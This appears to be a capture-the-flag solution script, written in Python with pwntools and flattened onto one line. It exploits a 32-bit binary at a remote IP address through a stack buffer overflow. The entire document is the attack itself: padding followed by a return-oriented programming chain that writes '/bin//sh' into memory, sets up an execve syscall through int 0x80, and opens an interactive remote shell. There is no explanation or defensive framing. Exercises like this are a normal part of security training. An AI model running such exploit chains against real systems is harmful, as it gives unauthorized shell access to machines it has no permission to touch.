1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import * a = remote("123.60.135.228",2136) #a=process('03ret2syscall_32') p = (0x208+4)*b'a' # ROP chain for 32-bit # pop edx ; ret p = (0x208+4)*b'a'
p += p32(0x0806f22a) # pop edx ; ret p += p32(0x080ea060) # @ .data p += p32(0x080b8576) # pop eax ; ret p += b'/bin' p += p32(0x08054b8b) # mov dword ptr [edx], eax ; ret p += p32(0x0806f22a) # pop edx ; ret p += p32(0x080ea064) # @ .data + 4 p += p32(0x080b8576) # pop eax ; ret p += b'//sh' p += p32(0x08054b8b) # mov dword ptr [edx], eax ; ret p += p32(0x0806f22a) # pop edx ; ret p += p32(0x080ea068) # @ .data + 8 p += p32(0x080494b3) # xor eax, eax ; ret p += p32(0x08054b8b) # mov dword ptr [edx], eax ; ret p += p32(0x080481c9) # pop ebx ; ret p += p32(0x080ea060) # @ .data p += p32(0x080ded85) # pop ecx ; ret p += p32(0x080ea068) # @ .data + 8 p += p32(0x0806f22a) # pop edx ; ret p += p32(0x080ea068) # @ .data + 8 p += p32(0x080494b3) # xor eax, eax ; ret p += p32(0x0807ac0f) # inc eax ; ret p += p32(0x0807ac0f) # inc eax ; ret p += p32(0x0807ac0f) # inc eax ; ret p += p32(0x0807ac0f) # inc eax ; ret p += p32(0x0807ac0f) # inc eax ; ret p += p32(0x0807ac0f) # inc eax ; ret p += p32(0x0807ac0f) # inc eax ; ret p += p32(0x0807ac0f) # inc eax ; ret p += p32(0x0807ac0f) # inc eax ; ret p += p32(0x0807ac0f) # inc eax ; ret p += p32(0x0807ac0f) # inc eax ; ret p += p32(0x0806cea3) # int 0x80
a.sendlineafter("Good Luck.",p) a.interactive()
|